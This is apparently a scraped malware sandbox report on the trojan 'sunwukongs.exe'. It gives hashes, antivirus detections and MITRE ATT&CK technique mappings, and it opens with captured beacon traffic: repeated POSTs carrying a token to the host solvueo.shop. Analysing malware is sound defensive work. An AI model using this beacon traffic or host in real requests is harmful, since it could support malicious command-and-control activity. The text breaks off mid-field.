W/"ad46-Quq0lKRRWFeZfzVHRCgSn2fG9OQ" with response body ==>675C0052C3B2C2BFC390C3977FC2A5C2826E79164AC3ADC2AB6CC29D08C2A8C3AFC392430FC28C56C29BC3962AC28CC281C29E46C395C397C3B1C2A90A1674C3....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:07 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:07 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:08 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:08 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:09 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:10 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:10 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:11 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:12 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:12 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:13 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D.......39:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEREREQAAAAAAAAAAAAAAERERERERAAAAAAAAAAAAEREREREREREAAAAAAAAAEREREREREREREQAAAAAAAREREREREREREREQAAAAABERmZmZEd0RmZmZEQAAAAARmZmZmZ/92ZmZmZkAAAABGZmZmZn//92ZmZmZkAAAEZmZmZmf///92ZmZmZkAABmZmZmZ/////92ZmZmZgAAZmZmZo//////+GZmZmYABGZmZmj///////+GZmZmQAZmZmaP////////+GZmZmAGZmZo//////////+GZmZgBmZmj///////////+GZmYAZ3d4////////////h3d2AGd3d4//////////+Hd3dgBnd3d4/////////4d3d3YAZ3d3d4////////h3d3d2AEd3d3d4//////+Hd3d3dAAHd3d3d4/////4d3d3d3AABnd3d3d4////h3d3d3dgAAB3d3d3d4//+Hd3d3d3AAAAZ3d3d3d4/4d3d3d3dgAAAAd3d3d3d4h3d3d3d3AAAAAAd4iIiIiIiIiIiHdAAAAAAEd4iIiIiIiIiId0AAAAAAAAd4iIiIiIiIh3QAAAAAAAAAZ3iIiIiIh3YAAAAAAAAAAAB3iIiIiHcAAAAAAAAAAAAAAABmZgAAAAAAAAD/wAP//wAA//4AAH/4AAAf8AAAD+AAAAfgAAAHwAAAA4AAAAGAAAABgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAABgAAAAcAAAAPgAAAH4AAAB/AAAA/4AAAf/AAAP/8AAP//wAP///w//w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790466515989,"unified_at":"2026-09-26T23:48:35.989Z","metadata":{"hashes":{"sha256":"cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842","sha1":"93caed15b30ba671b9efd303fc2d67584e561d32","md5":"b424225502e5f18d8f085b890d04bf55","sha512":"59aee6050e737deb55101e1be04a67b9af75f8ca271e91b8aac24eb4fae20bce1491e802ed5b10330c5d3eff70b6bafa38db212717ad80bb2ecf90582aff31ab","ssdeep":"12288:IeyvEC6rqOs76xhB6/SYEEjPQArlq1XJYeVoJ5IXNssS9MfNoRAQe+PwcsaMYcLV:RyvEC6rqOs76xhB6/SYEEjPQArlq1XJ8","ssdeep_chunks":["12288:IeyvEC6","12288:eyvEC6r","12288:yvEC6rq","12288:vEC6rqO","12288:EC6rqOs","12288:C6rqOs7","12288:6rqOs76","12288:rqOs76x","12288:qOs76xh","12288:Os76xhB","12288:s76xhB6","12288:76xhB6/","12288:6xhB6/S","12288:xhB6/SY","12288:hB6/SYE","12288:B6/SYEE","12288:6/SYEEj","12288:/SYEEjP","12288:SYEEjPQ","12288:YEEjPQA","12288:EEjPQAr","12288:EjPQArl","12288:jPQArlq","12288:PQArlq1","12288:QArlq1X","12288:Arlq1XJ","12288:rlq1XJY","12288:lq1XJYe","12288:q1XJYeV","12288:1XJYeVo","12288:XJYeVoJ","12288:JYeVoJ5","12288:YeVoJ5I","12288:eVoJ5IX","12288:VoJ5IXN","12288:oJ5IXNs","12288:J5IXNss","12288:5IXNssS","12288:IXNssS9","12288:XNssS9M","12288:NssS9Mf","12288:ssS9MfN","12288:sS9MfNo","12288:S9MfNoR","12288:9MfNoRA","12288:MfNoRAQ","12288:fNoRAQe","12288:NoRAQe+","12288:oRAQe+P","12288:RAQe+Pw","12288:AQe+Pwc","12288:Qe+Pwcs","12288:e+Pwcsa","12288:+PwcsaM","12288:PwcsaMY","12288:wcsaMYc","12288:csaMYcL","12288:saMYcLV","24576:IeyvEC6","24576:eyvEC6r","24576:yvEC6rq","24576:vEC6rqO","24576:EC6rqOs","24576:C6rqOs7","24576:6rqOs76","24576:rqOs76x","24576:qOs76xh","24576:Os76xhB","24576:s76xhB6","24576:76xhB6/","24576:6xhB6/S","24576:xhB6/SY","24576:hB6/SYE","24576:B6/SYEE","24576:6/SYEEj","24576:/SYEEjP","24576:SYEEjPQ","24576:YEEjPQA","24576:EEjPQAr","24576:EjPQArl","24576:jPQArlq","24576:PQArlq1","24576:QArlq1X","24576:Arlq1XJ","24576:rlq1XJY","24576:lq1XJYe","24576:q1XJYeV","24576:1XJYeVo","24576:XJYeVoJ","24576:JYeVoJ5","24576:YeVoJ5I","24576:eVoJ5IX","24576:VoJ5IXN","24576:oJ5IXNs","24576:J5IXNss","24576:5IXNssS","24576:IXNssS9","24576:XNssS9M","24576:NssS9Mf","24576:ssS9MfN","24576:sS9MfNo","24576:S9MfNoR","24576:9MfNoRA","24576:MfNoRAQ","24576:fNoRAQe","24576:NoRAQe+","24576:oRAQe+P","24576:RAQe+Pw","24576:AQe+Pwc","24576:Qe+Pwcs","24576:e+Pwcsa","24576:+PwcsaM","24576:PwcsaMY","24576:wcsaMYc","24576:csaMYcL","24576:saMYcLV","12288:RyvEC6r","12288:rlq1XJ8"]},"file_info":{"file_name":"sunwukongs.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":751296,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1779310105000,"last_seen":1779310112000,"last_multi_scan":1779310112000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["suspicious","new_domain"]},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":60},"sandbox_signatures":{"informative_count":103,"suspicious_count":10,"malicious_count":6,"total":119},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.HZHD trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Agent.cno","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Kryptik.HZHD trojan","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"malicious","value":"Recently registered domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"},{"type":"malicious","value":"The input sample is signed with an invalid certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy resources"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6a0e1e1fa1a98769dc03e95e"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution 